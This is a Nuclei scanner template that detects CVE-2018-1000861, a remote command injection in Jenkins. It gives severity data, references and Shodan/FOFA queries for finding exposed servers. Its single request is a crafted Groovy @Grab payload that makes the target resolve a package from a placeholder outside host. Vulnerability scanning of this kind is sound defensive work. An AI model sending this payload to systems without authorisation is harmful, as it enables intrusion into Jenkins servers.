id: CVE-2018-1000861

info:
  name: Jenkins - Remote Command Injection
  author: dhiyaneshDK,pikpikcu
  severity: critical
  description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server.
  remediation: |
    Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
    - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
    - http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html
    - https://access.redhat.com/errata/RHBA-2019:0024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
    epss-score: 0.98326
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: jenkins
    shodan-query:
      - http.favicon.hash:81586312
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve2018,cve,packetstorm,kev,vulhub,rce,jenkins,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "package#vulntest"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009a3edccb1a8150a3c064e3cbb20b158c6bfab8dfa784ffd11b40a2d40bb27050022039a9a98296a3e00d96eb04ccf440fb36182ede7b0a5ba3dea885b1e56622e016:922c64590222798bb761d5b6d8e72950